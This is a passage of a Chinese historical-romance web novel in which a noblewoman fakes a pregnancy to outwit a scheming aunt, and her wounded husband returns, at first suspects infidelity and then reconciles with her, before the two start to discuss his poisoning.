是以,她也没再费心盯着她,只等着再过几日,便着手将齐维航过继过去。
离三月期限剩不到十天,她竟然怀孕了?!
难不成她之前全是装的?!
这时郎中又开了口:“不过侯夫人体虚,脉象不稳,这头三个月要万般小心,不可劳心劳力,务必静养,才能保住胎儿,我一会开几副安胎的药,侯夫人切记按时服用。”
江元音颔首,感激道:“多谢,辛苦了。”
雪燕道:“夫人,我们快些回院吧,这等好消息得马上告诉侯爷才是!”
清秋附和:“夫人快听郎中的,回屋躺着静养吧,我随郎中去抓药!”
两人一唱一和,搀扶着江元音起
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身。
江元音朝主位的陆氏福了福身,温声道:“事发突然,二叔母莫怪,唔……”她又反胃了下,极力克制,接着道:“得此佳讯,侄媳想马上去同侯爷分享,再者侄媳身子实在不适,在这恐怕要耽搁二叔母商议正事,更怕腹中胎儿有个好歹,侯爷必要怪罪,还望二叔母允侄媳先行回院。”
话说到这个份上,陆氏再无强留她的理由,原本备好的发难说辞,一句都用不上,她只能憋着气,让她先行离开。
江元音一手捂心,一手被雪燕搀扶着,一派虚弱模样在众人的注视下离开。
她全程没和秦氏对视一眼,两人却配合默契。
出了大厅,她勾唇轻笑。
这才是收拾陆氏计划的第一步,等到齐文台生辰时,才是真正的重头戏。
齐文台的生辰宴交给了秦氏操持,算是意外的收获,到时她的计划会更方便实施。
陆氏果真是作恶多端,连老天都在无形中助她。
厅内,众人感慨颇多。
这**真是了不得,不出力不出钱就这样在陆氏眼皮下全身而退了。
她若为侯爷生下嫡长子,这侯府怕是要变天了。
江元音特意选在众人在场的时候公布“喜讯”,就是要侯府上下皆知,传得越广越好。
这样既避免陆氏把这个消息捂住,又能为下个月齐文台的生辰宴铺垫。
江元音有孕的消息的确传得广,当晚便传到了坞城城郊一间二进的院落。
曲休快步入屋,又喜又忧地禀告道:“侯爷,夫人有喜了!”
这确是喜事,可侯爷不在府中,陆氏会否刁难夫人?
齐司延自情报信件中抬眼,神色一凛,不见喜色,紧声问道:“云鹤观来信?”
她派人去云鹤观送信了?
曲休摇头,“府中来信,今日陆氏召集侯府女眷商议操持下月齐文台生辰之事,夫人身子不适,陆氏命郎中看诊,郎中确诊夫人有喜。”
齐司延眸光骤冷,渗出寒意。
曲休后背一凉,只觉得齐司延是太担心江元音的安危才这般,试探的建议道:“这边迟迟未有进展,要不就派人盯着,侯爷先行回府?”
齐司延轻笑,周身的气压却降了又降,“去收拾,即刻启程。”
曲休愕然,迟疑道:“即刻启程?侯爷这会否太仓促了……”
齐司延掀了掀眼皮,无声扫了他一眼。
曲休头皮发麻不敢再劝:“是,我即刻去准备。”
第70章 侯爷怒了
齐司延将手中研究了大半夜的情报扔在桌案上,呼吸起伏,烛火映照着他轮廓分明的脸,明明暗暗的光影里,是快要克制不住的愠怒。
怀孕?
他要问问,他们压根没圆房,她是如何怀孕的。
然而一刻钟后,曲休匆匆迈入屋内,急声禀告:“侯爷,有官兵闯入!”
齐司延霎时从上头的情绪中抽离,果断将手中的情报伸向桌案上的烛火燃尽,随后戴上面具,只露出一双沉静的墨眸。
终于来了。
今夜,要有进展了。
汴京,定宁侯府。
“有孕”的江元音睡了个好觉,次日醒来,刚洗漱完用了早餐,院里便来人了。
邓嬷领着一个郎中过来。
江元音认得这个郎中,她之前泡了齐司延的药浴池,**不舒服时,陆氏便唤这个郎中来给她看诊过。
一看便是陆氏的人。
邓嬷道:“叔祖母忧心夫人的身体,一夜没睡好,一大早命老奴去请了张郎中,张郎中在保胎方面颇有心得,让张郎中再给夫人号号脉吧。”
江元音心道陆氏真是个多疑的,估摸着仍没接受她怀孕了这件事。
不过昨日大厅给她号脉确诊的郎中,的确是她和秦氏两人安排的。
那郎中所言所行,亦是她安排的。
陆氏多疑,她亦谨慎,这假孕的药她一日没停。
江元音很是配合地伸手,结果自然和昨日一般。
张郎中号完脉,第一反应便是侧头看向邓嬷,“侯夫人的确有了身孕,只是脉象不稳,需费心安胎。”
邓嬷肉眼可见的不悦,意有所指道:“那你给夫人开几贴安胎的方子,夫人肚中的可是侯爷的嫡长子,万不能有差池。”
她只差没明说,快给江元音开副堕胎药了。
江元音眨眨眼,有些为难道:“二叔母对我这般关心,我受宠若惊,只是我害喜严重,昨日郎中开的安胎药,一口没能咽下去,只怕张郎中开了药也是如此。”
总之她一言不合便吐,陆氏给她的东西,她是一口不吃。
“那如何行?为了腹中胎儿,夫人硬着头皮也该把药喝了才是,夫人不喝安胎药,难道侯爷允许?”邓嬷说着环视了下屋内,又问道:“侯爷呢?夫人有喜,侯爷当高兴陪着才是。”
按照侯爷先前展露的,疼宠**的程度,那还不得寸步不离地守着?
江元音知道她心中在想什么,故意一脸幸福洋溢的笑,回道:“侯爷的确高兴,一大早便去了书房,说是要为孩子取名,我说还早呢,是男是女都还不知,可侯爷兴高采烈地,拦也拦不住。”
邓嬷不爽黑脸。
这些话,她若是转述给她家夫人听,她家夫人真会给气病!
**就是故意炫耀吧?!
邓嬷不想再看江元音刺眼的笑容,还是让张郎中去开药,嘱咐江元音不可浪费陆氏的心意,便动身回去复命了。
江元音是不惧怕陆氏的任何手段的。
一来陆氏忌惮齐司延,明面上是不敢做得太过分的。
二来她压根没怀孕,便是误食了什么,对她身子造不成什么实际的伤害。
邓嬷离开后,雪燕小声询问道:“夫人,明日侯爷回来,知道您假孕,会不会生气啊?”
“不会,”江元音笃定道:“他亦不想要齐维航这个便宜儿子,自会认同理解我这权宜之计。”
明日,她好好同他说道说道便是。
他终于要回来了,也不知腿脚好些了没有。
然而第二天,江元音没等到齐司延回府,只等来了邓嬷。
这回邓嬷又领了个郎中过来。
过程和昨日一般无二,结果更没两样。
邓嬷再次灰扑扑地离开。
接下来连着三日,邓嬷天天带不同的郎中过来给她看诊,仿佛不诊断出她没有身孕,便不会死心罢休。
江元音不怕应对这些,但心情却越来越沉重。
齐司延离府十三日了,迟迟未归,难道有什么意外?
她有些不安,立马书信一封,命清秋送到云鹤观去。
一来一回近两个时辰。
江元音来不及等她禀告,便开口问道:“见到侯爷了?侯爷可还好?”
清秋摇头,“没见
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到侯爷,门口的小师傅收了我的信,说是会转交给侯爷。”
“然后呢?侯爷看了信可回了话,有口信让你转述给我吗?”
清秋仍旧摇头,“小师傅说,元奚**闭关给侯爷治疗,暂时见不到侯爷,但请夫人放心,侯爷无恙,待结束治疗,便会回府。”
江元音闻言心稍安。
他离府前,她日日给他熬药,给他养身体,他身子已经有了好转。
而元奚**更是高人,既是闭关给他治疗,应当不会出什么意外,想来是虚惊一场。
这治疗了近半个月,指不定他的双腿真能好起来。
另一边,静怡轩。
陆氏满脸暴躁,已然在发怒爆发的边缘。
屋子里的丫鬟低头缩在角落,生怕无辜遭殃,成了出气筒。
陆氏依旧接受不了江元音怀孕了的事实,哪怕四个郎中号脉后,都说是喜脉。
齐司延那个病秧子废人,是怎么让**怀孕的?!
**这个贱蹄子,真是心机深沉,从嫁入侯府那日便一直在演戏!
在她面前装得恭顺无害,实则阳奉阴违,嘴上应承的事,一件没做,她送过去的避子汤,**定是一碗没喝!
这四日换了郎中给她开药,她借口害喜,亦是一口不喝。
她是上了她的当!
“夫人,老奴觉得有一事甚为奇怪,”邓嬷走上前去,“老奴连着去了青松院四日,竟没见着侯爷一回。”
陆氏嗅到不寻常的气息,蹙眉问:“你这话是何意?”
“若按照侯爷对**疼爱的程度,**有喜又脉像不稳,侯爷当陪在她左右才是,怎会人影都不见?”
“你是说齐司延不在侯府?”陆氏下意识否认,“那不可能,他那身子还能出府?”
“总归是有些蹊跷,夫人不如去确认一番?”
陆氏沉思。
她是不信齐司延会出府,但按邓嬷所言,的确很怪异。
要么是他身子愈发糟糕,要么是他已厌了**。
思及此,陆氏情绪好转,自软榻起身,不怀好意地笑,“走,去青松院瞧瞧。”
第71章 进来陪我(侯爷回来了)
陆氏一入院,江元音便得到了消息。
因为齐司延离了府,她格外谨慎。
此时已过了戌时正点,这个点陆氏过来,定是来找事的。
虽说九成是奔着她怀孕了,这几日喊郎中来给她号脉开药无果,来寻她麻烦,但她决不能让陆氏知晓齐司延不在府中。
好在齐司延刚离府,她便想过要如何应对这种突发状况,是以冷静吩咐清秋:“按我之前说的,去侯爷药浴池那边准备。”
“是,夫人。”
陆氏推门而入时,江元音就坐卧在卧室外间的软榻上。
她抬眼看向陆氏,讶然惊呼:“二叔母?”
她忙从榻上起身迎过去,“二叔母这个点怎地来了?可是有急事?”
陆氏没看她,目光往里间探去,“司延呢?”
江元音的心微沉。
陆氏竟是冲齐司延来的?
难不成是得到了什么风声?
好在她早有准备,不慌不忙地回道:“侯爷不在屋内,二叔母有事要找侯爷吗?”
陆氏这才看向江元音,眼里隐有喜悦之色,不答反问:“你们不在一屋睡了?分房睡多久了?”
这个点,齐司延都不在卧室,显然二人已经不同房睡了。
“没分房睡呢,”江元音轻声否认,“侯爷今夜在泡药浴。”
陆氏存疑,“是么?”
“不敢欺瞒二叔母,侯爷一直定期药浴,二叔母是知晓的呀,”江元音困惑看她,再次问道:“这个点,二叔母是有何急事要找侯爷?”
陆氏下巴微仰,回道:“算起来我和司延已近一月未曾见面了,上次因为——”她故意不说完整,自上而下地扫视明指江元音,“但我将司延视如己出,他算我半个儿子,他一时冲动昏头,我自不会和他计较,想必这一个月他也想明白了,一时欢愉怎会有我的养育之**得重要?”
邓嬷分析得在理,**怕是已失了宠。
只要确定了这一点,没了齐司延护着,她今夜收拾**都可。
江元音佯作听不懂她话里深意,半点不恼的附和:“那是自然,侯爷重情重义,自不会忘记二叔母对他的养育之恩。”
陆氏轻蔑看了她一眼,“你既脉象不稳需要静养,就早些躺下歇息吧,我去看看司延。”
江元音劝阻道:“我晓得二叔母是关心侯爷,只是侯爷在药浴,怕是不太方便见二叔母,二叔母不妨白日里再来?”
陆氏闻言,只觉得江元音是心虚,越发觉得自己的猜测没错,不再搭理江元音,出门径直朝药浴池而去。
江元音只得跟上去。
她是有周全的准备,但陆氏跟得到了确切消息一般的来势汹汹,还是令她有些紧张。
无论如何,决不能让陆氏知道,齐司延出府治病去了。
陆氏见江元音跟上来,越发胸有成竹,步伐矫健地快步走着,“你跟来作甚?”
“二叔母来了青松院,侄媳岂敢卧榻怠慢,侯爷若知道了,该责备侄媳不懂礼数了。”
“呵,说得好似你平日里多懂礼数似的。”
“侄媳未能让二叔母满意,甚是惭愧。”
江元音随便陆氏如何说,嘴上都是态度极好,半点脾气没有的应着。
陆氏骂得索然无味,甚至说不出的憋火,步子迈得越发的大了。
等戳穿齐司延已不和其同屋而睡,她非得当场给她一巴掌才解气!
很快一行人便到了药浴池门外。
屋内应当是只点了一盏小灯,在门外只能看到微弱的光影。
陆氏脸上露出了胜券在握的得意。
这药浴池一看就没人,齐司延根本不在里面,他同**早就分房而睡了。
**为了瞒住她,才用了他在泡药浴这样的理由。
陆氏示意邓嬷敲门,装模作样地扬声唤道:“司延,你可在里面?”
里面自然没有任何回应。
江元音开口道:“侯爷听力微弱,二叔母这声量,侯爷是听不到的。”
陆氏不多说,直接吩咐邓嬷:“开门。”
江元音上前拦住,“侄媳知二叔母将侯爷视如己出,只是儿大避母,侯爷正在药浴,二叔母若是闯进去,怕是于礼不合。”
“什么儿大避母,于礼不合,司延根本就不在里面!”陆氏剜了江元音一眼,道:“你三番两次阻止,明显是在心虚,你谎话连篇,到底是想遮掩什么?!”
“侄媳不敢撒谎,”江元音侧耳贴近大门,“二叔母不妨凑近听听,里面是有水声的。”
她直直望着陆氏,缓声问:“此刻侯爷当是宽衣解带在泡药浴,二叔母执意闯进去,真的合适吗?”
“**,你休想再糊弄我!”
陆氏根本不信,
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打定主意要戳穿江元音的谎言,再次吩咐邓嬷:“开门!”
邓嬷绕开江元音,双手用力将门推开。
房门大开,江元音反而不急着阻拦了,就那样杵在原地,静候陆氏的反应。
屋内的确只点了一盏烛火,就在药浴池的一角上方,照不亮屋内全景,独独照着药浴池里的人影。
男人背对着门口坐在药浴池里,只露出被青丝遮掩的背。
邓嬷刚往里迈了一步,猛地驻足停住,愕然惊呼:“侯、侯爷……?”
陆氏亦往里一看,瞅见男人的背影,尴尬一怔。
什、什么?!
齐司延竟真的在泡药浴?!
江元音低眼,好声好气地提醒道:“侄媳并非撒谎糊弄,想遮掩什么,实在是侯爷内敛,平日里都不肯丫鬟近身侍候,侄媳只是担心二叔母执意在侯爷脱衣药浴时闯入,会让侯爷误会二叔母有什么旁的心思……”
“荒唐!”陆氏脸一阵白一阵红,“你说胡说八道什么?!我还能对司延有什么旁的心思?我是他叔母!”
“侄媳明白,侄媳只是担心侯爷误会,”江元音抬眼,很是诚恳地问道:“二叔母仍要此刻进去见侯爷吗?还是趁着侯爷没听到看到,全然不知情,先行离开?”
陆氏好似生吞了苍蝇,气得咬牙,却半点办法也没有。
真进去,撞见齐司延光着,她有理也说不清!
她哪还敢往里走,连目光都避嫌地不敢往里瞟,怒瞪了邓嬷一眼,怪她出的馊主意,随后甩袖离开。
这**真是邪门得很!
只要一找她麻烦,最后不顺心的铁定是自己!
江元音双手交叠放置腹前,微微俯身,一派恭送陆氏离开的模样。
她早就料到,自己言语阻拦不了陆氏,还会让其疑心有鬼,陷入狂妄自大里。
陆氏一定会往药浴池冲,于是她命小厮假扮。
她赌的是陆氏不敢看脱了衣服的齐司延。
江元音赌赢了,危机解除,她松了口气,打算回房。
然而刚刚抬脚,一道熟悉的清冷悦耳的嗓音自身后传来——
“夫人既然来了,不如进来陪我?”
江元音呼吸一滞。
幻听了吗?
怎么好似听到了齐司延的声音?
难道药浴池里的男人……不是小厮,而是齐司延?!
第72章 侯爷生气强吻她
江元音猛地转身,难以置信地出声唤道:“侯爷?”
她先前以为浴池里的是小厮,便没多看一眼。
现在看过去,那背影的的确确是齐司延。
他真的回来了!
江元音欣喜提裙迈进去,雪燕和清秋很有眼力见地合上门,候在屋外门口。
“侯爷何时回来的?”江元音快步走至他身边蹲下,“怎么不知会我一声?”
她素来温吞淡定,此刻情绪难得高涨。
平日里克制压抑的思念,在见到他的此刻好似有些不受控地往外冒。
她必须承认,大半个月不见,她是想他的。
她借着那一盏微弱的灯光认真打量着他,他没有浑身赤裸,而是穿着一件黑衣的里衣,且并未转头看她,只留给她一张轮廓分明的侧脸,在黑衣的衬托下,越发冷峻,还透出些病态的白,甚至带着肃杀之气。
看得江元音心一紧,凑得更近,关心问道:“侯爷脸色不好,可有不舒服?还是元奚**……”
齐司延却倏地抬手,带着哗啦啦的水声,一把抓住她的手臂,将她往浴池中一拉。
江元音猝不及防,一时失了平衡,只觉得一阵天旋地转,便跌入浴池里。
下一瞬,被他双手捞了出来。
江元音浑身湿透,大口吸气,抬手抹了把脸上的水,才睁开眼来。
被水汽模糊的视野里是齐司延紧绷的俊脸,那双墨眸森冷迫人。
她从未见过这样的齐司延,危险陌生得像是换了个人。
齐司延目不转睛地看她,勾了勾唇,眼底却是一片冰冷,开口道:“夫人问题好多,本侯倒有一个问题想先问问夫人。”
江元音睫毛颤了颤。
人果然在被温柔以待过后,便难以忍受分毫的粗暴与冷漠。
这要是发生在她生辰夜之前,她顶多在心里骂他一句“疯子”。
可此刻委屈如同浴池水渗透她的衣裳一般,逐步蔓延,将她包裹。
她开心欢迎他回来,他为何这般待她?
江元音在浴池中站定后退,拉开与他的距离,蹙眉抿唇看他,“侯爷有问题为何不能好好问?逾期未归的是侯爷,妾身是做错了什么,侯爷要生气动粗?”
她确定他在生气。
他冷冰冰的唤着她“夫人”,而不是“阿音”。
他离府前分明还好好的,这半个月没见,她还能惹到他?
齐司延的怒火被她后退的动作点燃,猛地伸手揽过她的腰,将她拉回自己面前。
在哗啦的水声中,他目光如炬,一手禁锢着她的腰,一手抚上她的腹部,咬字轻而缓地问:“本侯离府半月,还请夫人告诉本侯,这孩子是如何来的?”
江元音思索分析着他的话,试探问道:“侯爷莫不是怀疑我怀了别人的孩子?”
这样他的怒火是情有可原,但未免太不合理了吧?
便是她还未来得及同他说自己是“假孕”,他稍稍动动脑子也该知道是假的啊。
他离府前,她还来了月事呢!
怎么可能怀孕?
可她这句话,摧毁了齐司延已被怒火煎熬了数日的理智。
……她竟没有否认自己怀孕!
原本覆在她腰腹的手上移,绕至她后颈,克制地扼住她的脖颈,将她的脑袋压送到跟前,他面色越发惨白,眼底却是一片隐忍的猩红,近乎咬牙切齿道:“江元音,你竟然敢,你怎么敢?”
心脏酸涩肿胀,分不清是愤怒还是难过。
胸口仿佛被生生凿出了个豁口,汩汩流血又空荡难忍。
“不是,我……”
江元音试图解释,可刚开口,尾音便消失在他的唇边。
齐司延箍住她的腰和脖颈,带着惩罚意味地吻上来。
想听她解释,却又怕听到她的解释。
所以,以吻封缄。
江元音双手抵住他的胸口,挣扎着试图拉开两人的距离。
然而她越挣扎,他便吻得更凶,如夏日的惊雷暴雨,要将她完全吞噬。
悬殊的力量让江元音完全挣不脱他的掌控,她只能转换思路,狠狠咬住他的唇。
铁锈味在唇齿间蔓延,齐司延终于吃痛离开她的唇。
两人都在大口地换气。
江元音尝试和他沟通解释,“侯爷能否冷静些听我解释?这孩子……”
“你不可能怀了我的孩子,”齐司延目眦欲裂地打断她,“我们没有圆房。”
……她休想骗他。
江元音怔住了,“那我生辰喝醉那晚……?”
齐司延扯了扯唇角,自嘲道:“你意识不清,我不会趁人之
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危。”
江元音恍然。
她就说如果真的圆房了,便是没有记忆,身体也不该一点痕迹和感觉都没有!
原来他们根本没圆房!
那他前些日子全部是故意逗她?
齐司延大手圈着她的脖颈,轻轻摩擦。
如此纤细,他只需稍稍用力,便能拧断。
他望着她的眉眼,声音很轻,“不是说我是如意郎君,欢喜我,真心待我吗?”
他掐住她的脖子,“为何要背叛我?”
他的动作胁迫危险性十足,仿佛下一秒就要掐死她。
江元音不躲不闪,睁着湿漉漉的眸子望着他,“侯爷出了府便忘了,二叔母说三个月内我未有身孕便要将维航过继给我们,眼瞅着就要三个月,侯爷又不在府上,我只能假孕应对。”
“侯爷离府时我还有月事在身,如何真的怀孕?”
“我日日忧心侯爷身子,从药膳到汤药,事事亲力亲为,我待侯爷的确真心真意,问心无愧。”
“反倒是侯爷,不仅恶意揣度我,前些日子一直让我误以为我们醉酒那夜圆房了,成日戏耍逗弄我,侯爷可有将我视为妻子来尊重爱护?”
“也罢,我一介商贾之女,能嫁与侯爷本就是高攀,侯爷看轻我,理所应当。”
“是妾身不该奢望,能得侯爷青睐。”
江元音说完,趁他愣怔,用力推开他,离开药浴池。
她承认她这大段话的确用了话术。
她不会因为此刻他的过激,便否定他之前待她的好,甚至他此刻的生气,都是在乎她的证明。
毕竟,哪怕是在怀疑她背叛他的情况,他掐住她脖子的手,依旧没舍得用力。
他心里有她,她才能以退为进,占据高位。
确认了他的心意,她方能没甚顾虑地对付陆氏。
身后果然传来齐司延的低唤:“阿音……”
江元音知道自己赢了,却没驻足停步。
因为她的不爽、生气、委屈也是真的。
她对他的确问心无愧。
随后又是一阵水声,齐司延快步上了药浴池,自江元音身后将她抱住。
江元音后背抵住他结实的胸膛,惊诧得瞪大了双眼。
他站起来了!
他走路了!
他的腿好了?!
第73章 侯爷吃醋了?
江元音惊喜转身,“侯爷,你的腿好了?”
元奚**当真是高人!
齐司延闻言踉跄了下,身子摇晃。
江元音忙伸手搀扶,他顺势倒靠在她身上,咳了咳,虚弱道:“尚未好全。”
他刚刚在她那番话的冲击下慌了神,一时没顾及地追了上来。
江元音抱扶着齐司延,从前他总是坐在轮椅上,第一次同他站立相拥,才发觉他个子高挑,此刻倚靠着她,仍高了她一头,下巴贴着她的额头。
她环视了下屋内,不见他往日所坐的轮椅,怕他没法长时间的站立,她开口问道:“侯爷还泡药浴吗?”
齐司延摇头,圈紧她,低声道:“是我不好,阿音莫走。”
见他绕回先前的话题,江元音便也从他腿好的惊喜回到先前的气恼。
“侯爷怎会不好?”她双手推开他,故意刺他道:“一定是我不好,侯爷对我才没有半分信任,我不走留在这只会惹侯爷生厌。”
齐司延好似被扎疼了似的,克制隐忍地吸了口气,尝试继续贴近她,低声懊恼道:“是我一时昏了头,口不择言,阿音不生气了,好不好?”
其实他在坞城得知这个消息时,亦是质疑的。
他猜到是她的计划,所以向曲休确认消息是否来自云鹤观。
可曲休说,是府中来信,有郎中为她看诊。
他气的是她的隐瞒。
刚刚在浴池中失控,全因她没有否认她怀孕。
……他应该更理智冷静的。
江元音不是得理不饶人的性子,矜贵骄傲的侯爷低头哄她了,她懂得见好就收。
何况出了药浴池,衣服湿漉漉贴在身上,凉飕飕的并不舒服。
她继续用力抵住他的胸口推开,想劝他去换身衣裳,然而尚未开口,听到他吃痛地抽气。
见他蹙眉,整张脸煞白,薄唇亦无血色,衬得那被她咬破的血痕,红得触目惊心。
江元音关切问道:“侯爷怎么了?站久了腿疼?”
她垂首去打量他的腿,目光不经意扫过自己抵住他胸口的手,葱白的指间泛着不寻常的红。
她反手一看,整个手掌一片刺眼的红,她下意识的去扯他的衣襟,瘆人的伤口映入她眼帘,看得她头皮发麻,又气又急道:“侯爷受伤了为何不说?”
难怪她一推他,他便吸气,原来是她按到他的伤口?
他当真能忍,这样也一声不吭。
那这屋子只点一盏灯、穿黑衣,是在故意隐瞒?
“曲休呢?”江元音转身要走,“我去唤郎中!”
齐司延一把拉住了她,沉声:“没甚大碍,不可声张。”
后四个字提醒江元音事态复杂,堵住了她那些本到了嗓子眼的话。
她冷静下来,搀扶住他,看向他起居室的方向,“我先扶侯爷回房,换身干净衣裳先。”
齐司延很配合,任由她将自己扶到隔壁的起居室。
这是他之前的寝房,东西一应俱全。
江元音先将他扶到榻上,快步去取了衣物和帕子,伸手要为他更衣时,被他按住了手,“你先换。”
齐司延不容拒绝的将衣物和帕子递给她,“莫要着凉。”
江元音不想浪费时间,言简意赅道:“一起换。”
齐司延眼角跳了下,“一起换?”
她将衣物帕子推还给他,重新走回衣橱,脱掉身上湿透的衣衫,换上他的衣服。
再走回来时,他也换好了。
齐司延望着换上他衣服的江元音,神色微妙。
他的衣服于她而言实在太大,松松垮垮堆在身上,她好似偷穿大人衣裳的小孩。
可却有种难以言喻的亲密感。
江元音心思全在他的伤口上,没这些旖旎的心思,上前一把拉扯开他的衣襟,那道伤口完整的曝露。
这是一道刀伤,横划在他胸膛上方,只差厘毫便能划开他的胸口,因为泡了浴池水,伤口被泡得红肿怖人。
江元音蹙眉沉声:“不行,这必须唤郎中来处理,否则会发炎溃烂。”
齐司延摇头,“已是宵禁时分,现在唤郎中太惹人注意。”
江元音有些迟疑,但一想到他带伤回府,以及陆氏跟得到风声似的,有备而来,也不敢再坚持。
她很快做了决定:“今夜我先帮侯爷简单处理包扎下伤口可好?”
明日天亮便能去唤郎中了。
齐司延直直望着她,顺势问道:“阿音懂岐黄之术?”
……她到底何时同他坦白?
“简单包扎当是不难,”江元音起身欲走,“我去命雪燕去
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取些伤药过来。”
“不必,”齐司延唤住她,往一侧的立柜看去,“那边抽屉里都有。”
江元音心道他这屋子里还真是什么都有,她快步取来,坐在他身旁,细心轻柔地为他处理伤口。
他双手撑在榻上,身子后仰,一低眼便是她专注的小脸,他眼里有他自己都未察觉的温柔。
江元音将伤药轻轻倒上去,肉眼可见他身子隐忍地颤了颤。
她动作一顿,抬眼看他,“是不是很痛?”
“……不痛。”
江元音:……
嘴硬的男人。
但转瞬又觉得他痛是好事。
他越敏锐觉得痛,便是触觉恢复了,不枉她费了那么大功夫给他熬药。
她体验过丧失触觉,活得好似一摊烂肉的感受,方觉得疼痛亦是一种美好的体验。
于是江元音上药的力度越来越轻,来试探他触觉恢复的程度。
可这落在齐司延眼里,她的小心翼翼全是对他的心疼。
他心里的豁口不药而愈,一片柔软与满足。
……阿音果真对他情根深种。
江元音的确是会包扎处理伤口的。
前世被困在泉郡时,遍体鳞伤是常态,处理伤口便是那时慢慢摸索出来的。
等到帮齐司延包扎处理好,替他合上衣服,江元音才开口问道:“侯爷不是去了云鹤观吗?怎会受伤?”
“回来路上遇到了歹人。”
“汴京城内还有歹人?”江元音讶然,“曲休呢?他受伤了?”
她见识过曲休的身手,一般歹人当奈他不何,连他都护不住齐司延,那不可能是一般的歹人。
一直未见曲休人影,难不成他伤得更重?
齐司延眯眼看她:“阿音还挺关心他。”
江元音无语抬眼:“侯爷吃醋了?”
她是不想自作多情,但不是对感情迟钝。
从前他对她的诸多维护与好,可以说是他品性好,尽到一个丈夫的本分。
可刚刚浴池里的种种,他的眼神和肢体动作,都在透露一个讯号。
他对她动了心。
“荒唐,”齐司延板着脸否认:“本侯怎会吃曲休的醋?”
他的嘴硬完全在江元音的意料之中,她挑破道:“侯爷喜欢我,所以吃醋。”
第74章 坦白
齐司延面无表情,强作镇定,耳廓却微微泛红。
江元音见他这般不肯认,又想起他故意让她误会与他圆房,言语中一副她急不可耐的轻薄强占他,时不时拿这事逗她的种种,一时起了较劲的心思。
今日她非得让他承认不可。
她倾身凑近,眨眨眼,软声问:“侯爷不喜欢我吗?”
衣服太大本就不贴身,她一俯身,不经意间露出来了胸前的雪白。
齐司延抿唇不语,侧眸避开。
江元音一个翻身,大胆跨坐在他腿上,双手捧住他的下颌,将他的脸板正,不许他目光逃避,故意娇声甜腻地问:“侯爷真的不喜欢阿音吗?”
齐司延闷哼出声,眸光炙**盯着她。
……她真是会磨人。
江元音又故意叹息道:“阿音明白了。”
随后,松开他,要从他身上离开。
齐司延大手按住她,在他吻上来前,她反应极快地捂住他的嘴,“不喜欢不能亲。”
感受到他起伏的胸膛,想到他胸口刚包扎好的伤,她良心发现,决定先放过他,道:“喜欢也不能亲,伤口会裂开的。”
齐司延扯开她的手,哑声道:“让它裂。”
江元音目睹了齐司延伤口的严重,可不会任他“发疯”。
自知力量悬殊,她扬声唤了雪燕和清秋。
齐司延果然顿住。
江元音顺势离开他的怀抱,和他拉开距离,莞尔温声道:“侯爷养伤要紧,今晚别折腾了,睡在这边吧,免得我晚上睡姿不好,碰到侯爷的伤口。”
她其实还有很多疑惑与话要同他说,关于他的伤,他的腿,以及陆氏相关。
但一想到他胸口的伤,只想他今晚先好好休息。
其余的,便明日再说吧。
可想来她今晚睡在这,他怕是没法好好休息,于是她语罢转身,头也不回的离开。
齐司延盯着她的背影,只觉得伤口没裂开,但他人快要裂开了。
……她真是会折磨人。
次日,江元音醒来时,齐司延就坐在屋里。
他换了往日常穿的浅色锦衣,仍旧坐在昔日的轮椅上,看得她有一瞬的恍惚,仿佛昨夜看见他站立行走,不过是她做的一场梦。
齐司延侧头看她,道:“醒了?”
“侯爷何时来的?”江元音坐起身来,“我竟一点声响没听到。”
“不到一刻钟。”
江元音目光落在他薄唇的小伤口上,证明着昨夜的一切都是真实发生的。
她记挂着他胸口的伤,忙问道:“侯爷好些了没?叫人去唤郎中了没有?”
昨夜觉得宵禁了,动静太大,现下是白天总该方便了。
怕他还是不放心,她又补了句:“便说是我身子不适,唤郎中来瞧就是。”
“事过留痕,总归是有隐患,”齐司延还是拒了:“阿音手妙,劳烦阿音继续替我换药包扎了。”
江元音试探问道:“侯爷到底在提防谁?”
齐司延耐人询问地回:“阿音在提防谁,我便在提防谁。”
“果真?”他也在提防陆氏?
他知道陆氏的歹毒心肠,一家子吸食毒害他吗?
齐司延不欲多言,“你且先去洗漱,待吃完早餐,我们慢慢谈。”
江元音颔首,翻身下床。
时隔半月,两人共进久违的早餐。
饭后,齐司延从袖袍掏出一张缣帛,递给江元音。
联想到先前的谈话内容,江元音莫名的紧张,猜测着会不会和昨夜他受伤有关,谨慎将缣帛打开。
映入眼帘的是卷首的“家规”二字,再往下便是“第一条:坦诚”。
江元音不明所以,抬眼困惑看他,“这是?”
齐司延回道:“你之前不是问我,齐家的家规是什么吗?”
他垂眼扫缣帛,“这便是。”
江元音眼角跳了跳,“……就一条?”
一张缣帛,总共五个字。
“日后自然还会
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有第二三四五条,”齐司延重声强调,“这是我们家的家规,阿音需得遵守。”
江元音放下缣帛,“侯爷有话不妨直说。”
齐司延不兜圈子,直接问道:“为何二叔母派来郎中号脉,亦是喜脉?”
与其干等不知猴年马月她才会主动的坦诚,不如他主动挑破了。
“我服了药,短期内会使人呈喜脉,侯爷若不信,我可将药方给侯爷。”
“阿音如何会懂这些?”
如果不是他突然去了云鹤观又迟迟未归,她本就要跟他商议此事的,是以也早就备好了说辞,不慌不乱地回道:“我自幼喜静不喜动,宅在闺阁乏味,便爱看书打发时间,阿父经商,常年四处奔波,倒是会带些奇闻异志的书籍回来,里面记载的有真有假,我闲得无聊便会试试,试得多了,自然摸索出了些门道。”
她浅笑,状似不经意地提道:“我出嫁时,还问阿父要了江南十二间药铺做嫁妆,便是想着将来方便用上。”
这既是用来佐证她的说辞,也是在为挑破他**,她能为他解毒做铺垫。
齐司延若有所思的点点头,又问:“阿音之前给我熬的药,到底是何功效?”
既已铺垫好,江元音如实以告:“解毒的。”
她与他四目相对,缓声问:“侯爷与元奚**交好,数次去云鹤观就诊,难道不知自己中了毒?”
从前她不说,是忌惮他与陆氏的关系。
怕自己没有实证,得不到他的信任,他若觉得她在挑拨离间,她只会出力不讨好。
可昨夜的种种,他伤得那么严重也不肯唤郎中,还说她在提防谁,他便在提防谁,这让她坚信,他对陆氏的所作所为,绝不是一无所知。
果然,齐司延没有否认,他问:“那阿音是何时知道我中了毒?”
“我不慎跌落侯爷药浴池的那回,”话已至此,她索性挑破天窗说亮话,问道:“侯爷,可会惩治二叔母?”
第75章 不可拿我们的孩子胡闹
江元音要一个肯定的答复,才好顺势吐露她的计划。
齐司延沉声:“自没有以德报怨的道理。”
江元音眼底是一拍即合的认可,也有终于不用再遮掩心思的轻松。
她同他分析探讨道:“得知侯爷**后,我劝侯爷停了药浴,开始留心侯爷的膳食,到目前为止,不确定二叔母是没再继续下毒,还是说被我拦下来了。”
